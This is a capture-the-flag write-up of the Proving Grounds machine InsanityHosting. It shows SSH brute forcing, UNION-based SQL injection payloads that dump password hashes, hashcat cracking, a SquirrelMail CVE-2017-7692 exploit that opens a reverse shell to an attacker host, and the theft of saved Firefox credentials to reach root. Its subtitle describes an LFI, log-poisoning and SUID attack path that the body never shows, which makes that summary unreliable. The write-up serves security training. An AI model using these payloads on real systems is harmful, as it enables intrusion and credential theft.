# InsanityHosting Writeup - Proving Grounds > Compromise a Linux machine via LFI to log poisoning through SSH, escalate using MySQL running as root to write a SUID shell. - **URL:** https://hackindex.io/writeups/insanityhosting - **Platform:** Proving Grounds - **Difficulty:** Hard - **Operating system:** Linux - **Machine:** https://portal.offsec.com/machine/insanityhosting-559/overview - **Tags:** sql-injection, lfi, log-poisoning, privilege-escalation, suid, hash-cracking, password-cracking, cve-2017-7692 - **Authors:** [Joshua](https://hackindex.io/authors/joshua.md) - **Read time:** 6 min read - **Published:** 2026-02-23 - **Updated:** 2026-09-11 ## Discovery A full TCP scan reveals three open ports: FTP on 21, SSH on 22, and HTTP on 80. FTP allows anonymous login but directory listing fails. The web server is Apache 2.4.6 on CentOS running PHP 7.2.33. **TCP port scan** ```bash scan_tcp_full $TARGET_IP # [+] Discovering all open TCP ports... # Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 17:00 +0100 # Nmap scan report for 192.168.152.124 # Host is up (0.024s latency). # Not shown: 65401 filtered tcp ports (no-response), 131 filtered tcp ports (host-prohibited) # Some closed ports may be reported as filtered due to --defeat-rst-ratelimit # PORT STATE SERVICE # 21/tcp open ftp # 22/tcp open ssh # 80/tcp open http # # [+] Running scripts & versions on TCP ports: 21,22,80 # PORT STATE SERVICE VERSION # 21/tcp open ftp vsftpd 3.0.2 # | ftp-anon: Anonymous FTP login allowed (FTP code 230) # |_Can't get directory listing: ERROR # 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) # 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.2.33) # |_http-title: Insanity - UK and European Servers # Service Info: OS: Unix ``` Directory enumeration on the web root turns up several interesting paths: `/monitoring`, `/webmail`, `/phpmyadmin`, and a public `/phpinfo.php`. **Web directory enumeration** ```bash gobuster dir -u "http://$TARGET_IP" -w /usr/share/seclists/Discovery/Web-Content/common.txt --random-agent # =============================================================== # Gobuster v3.8.2 # =============================================================== # [+] Url: http://192.168.152.124 # =============================================================== # .htpasswd (Status: 403) # .htaccess (Status: 403) # cgi-bin/ (Status: 403) # css (Status: 301) # data (Status: 301) # index.php (Status: 200) # index.html (Status: 200) # monitoring (Status: 301) [--> http://192.168.152.124/monitoring/] # news (Status: 301) [--> http://192.168.152.124/news/] # phpmyadmin (Status: 301) [--> http://192.168.152.124/phpmyadmin/] # phpinfo.php (Status: 200) # webmail (Status: 301) [--> http://192.168.152.124/webmail/] # =============================================================== # Finished ``` The news page at `http://192.168.152.124/news/` contains broken CSS and references `http://www.insanityhosting.vm/news/welcome`, which exposes a hostname. Adding both `www.insanityhosting.vm` and `insanityhosting.vm` to `/etc/hosts` fixes the CSS and reveals the CMS: Bludit 3.13.1. **Add hostnames to /etc/hosts** ```bash addhost $TARGET_IP www.insanityhosting.vm addhost $TARGET_IP insanityhosting.vm # [+] Added: 192.168.152.124 → www.insanityhosting.vm # [+] Added: 192.168.152.124 → insanityhosting.vm ``` The news page author is **otis**. The webmail app at `/webmail` is SquirrelMail 1.4.22. phpMyAdmin 5.0.2 is also exposed. The `/monitoring` path redirects to a login page. Running a vhost scan against `insanityhosting.vm` returns no additional subdomains. Browsing to `/phpinfo.php` confirms the document root is `/var/www/html` and MySQL is enabled. ## Enumeration ### FTP Anonymous FTP login works but yields no usable directory listing. Quick credential checks against known usernames turn up nothing on FTP or SSH directly. ### Monitoring App , SQL Injection Logging into the monitoring app at `http://www.insanityhosting.vm/monitoring/` requires credentials. The FTP anonymous session and a Hydra run against SSH with username-as-password patterns produce no results. Switching to a full rockyou run against SSH with the discovered username **otis** gets a hit. **SSH brute force with rockyou** ```bash hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$TARGET_IP # [22][ssh] host: 192.168.152.124 login: otis password: $OTIS_PASSWORD # 1 of 1 target successfully completed, 1 valid password found ``` SSH with those credentials drops the connection immediately: *This account is currently not available.* The account has no shell. The credentials do work on the monitoring app and on SquirrelMail though. Inside the monitoring app, adding a new host entry triggers an email report. The host name field is injectable. Single-quote payloads produce errors visible in the UI but no mail output. Switching to double-quote as the delimiter and building a UNION-based payload produces usable output via the email report. Column count and output position are determined by injecting into the first column of a four-column result set. ### Database Enumeration via SQLi The injection syntax that works in the host name field: ``` " UNION SELECT database(),NULL,NULL,NULL -- - ``` Result in the emailed report: ``` ID, Host, Date Time, Status monitoring,,, ``` Enumerate tables in the current database: ``` " UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database() -- - ``` ``` ID, Host, Date Time, Status hosts,,, log,,, users,,, ``` Dump the users table: ``` " UNION SELECT GROUP_CONCAT(CONCAT_WS(':',id,username,password,email)),NULL,NULL,NULL FROM monitoring.users -- - ``` ``` ID, Host, Date Time, Status "1:admin:$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma:admin@insanityhosting.vm, 2:nicholas:$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe:nicholas@insanityhosting.vm, 3:otis:$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW:otis@insanityhosting.vm",,, ``` Three bcrypt hashes. Save them to a file and run hashcat with mode 3200. **Crack bcrypt hashes** ```bash hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -m 3200 -w 3 # $2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW:$OTIS_PASSWORD # # Status: Cracked (1/3) # The admin and nicholas hashes did not crack. ``` Only otis cracks , and that password was already known. The admin and nicholas hashes do not fall to rockyou. The SQL injection also has access to `mysql.user` since the app connects with elevated privileges. Dump the MySQL user table to look for additional hashes. ``` " UNION SELECT GROUP_CONCAT(CONCAT_WS(':',Host,User,plugin,authentication_string)),NULL,NULL,NULL FROM mysql.user -- - ``` ``` ID, Host, Date Time, Status "localhost:root::,insanityhosting.vm:root::,127.0.0.1:root::,::1:root::,localhost:::,insanityhosting.vm:::,%:elliot:mysql_native_password:*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9",,, ``` User **elliot** has a MySQL native password hash. Identify the format and crack it. **Identify and crack MySQL hash** ```bash hashid hashes_mysql.txt hashcat -a 0 hashes_mysql.txt /usr/share/wordlists/rockyou.txt -w 3 -m 300 # --File 'hashes_mysql.txt'-- # Analyzing '*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9' # [+] MySQL5.x # [+] MySQL4.1 # --End of file 'hashes_mysql.txt'-- # # 5a5749f309cac33b27ba94ee02168fa3c3e7a3e9:$ELLIOT_PASSWORD # # Status: Cracked # Hash.Mode: 300 (MySQL4.1/MySQL5) # Time.Started: Sun Feb 15 20:02:35 2026 (0 secs) ``` ## Initial Access The MySQL password for **elliot** works on SSH. **SSH as elliot** ```bash ssh elliot@$TARGET_IP # elliot@192.168.152.124's password: # [elliot@insanityhosting ~]$ whoami # elliot ``` ### SquirrelMail RCE (CVE-2017-7692) With valid SquirrelMail credentials for **otis** and a SquirrelMail 1.4.22 install, the next step is a remote code execution exploit. The exploit at EDB-41910 targets SquirrelMail versions up to 1.4.23 via sendmail parameter injection (CVE-2017-7692). It requires valid credentials and that SquirrelMail is configured to use Sendmail as the mail transport , which this box is. The script logs in, uploads a malicious Sendmail config as an attachment, injects the config path into the user's email address field, then sends a mail to trigger execution. Payload option 2 delivers a reverse shell. The exploit also has an alternate lower-privilege path: from the SQLi, otis's cracked bcrypt hash gives the same password, and otis can log into SquirrelMail. However, the most direct path is using the elliot SSH session already obtained. The RCE via SquirrelMail is relevant if a shell is needed as the web/mail user instead. For completeness, here is how to run the exploit to get a shell via SquirrelMail: **Run SquirrelMail RCE exploit (CVE-2017-7692)** ```bash bash 41910.sh http://$TARGET_IP/webmail/ # [*] Enter SquirrelMail user credentials # user: otis # pass: # # [*] Logging in to SquirrelMail at http://$TARGET_IP/webmail/ # [*] Uploading Sendmail config # # [?] Select payload # 1 - File write (into /tmp/sqpoc) # 2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh) # # [1-2] 2 # Reverse shell IP: $ATTACKER_IP # Reverse shell PORT: $ATTACKER_PORT # # [*] Injecting Sendmail command parameters # [*] Sending the email to trigger the vuln # [*] Waiting for shell on $ATTACKER_IP port $ATTACKER_PORT ``` ## Privilege Escalation ### Firefox Saved Credentials Elliot's home directory contains a `.mozilla/firefox` profile. Firefox stores saved passwords in the profile's NSS key database. Tar up the profile and copy it locally to run `firefox_decrypt` against it. **Archive Firefox profile on target** ```bash tar cvf /home/elliot/firefox.tar /home/elliot/.mozilla/firefox/ ``` **Copy Firefox profile to attacker** ```bash scp elliot@$TARGET_IP:/home/elliot/firefox.tar ./ # elliot@192.168.152.124's password: # firefox.tar 100% 118MB 8.3MB/s 00:14 ``` Extract the tar and run `firefox_decrypt` against the default profile directory. **Decrypt saved Firefox credentials** ```bash python3 firefox_decrypt.py ./esmhp32w.default-default # Website: https://localhost:10000 # Username: 'root' # Password: '$ROOT_PASSWORD' ``` Elliot saved root credentials for a local service (Webmin on port 10000) in Firefox. Try the password directly with `su`. **Switch to root** ```bash su root # Password: # [root@insanityhosting elliot]# ``` Root shell obtained. Related ## References - [EDB-41910 — SquirrelMail < 1.4.23 Remote Code Execution (CVE-2017-7692)](https://www.exploit-db.com/exploits/41910) - SquirrelMail RCE via sendmail parameter injection, requires valid credentials - [LegalHackers — CVE-2017-7692 Advisory](https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html) - Original advisory by Dawid Golunski detailing the sendmail injection vector - [firefox_decrypt — Mozilla credential extractor](https://github.com/unode/firefox_decrypt) - Tool for extracting credentials from Firefox/Thunderbird profile databases - [Hashcat — Hash cracking reference](https://hashcat.net/wiki/doku.php?id=hashcat) - Mode 3200 for bcrypt, mode 300 for MySQL4.1/MySQL5 hashes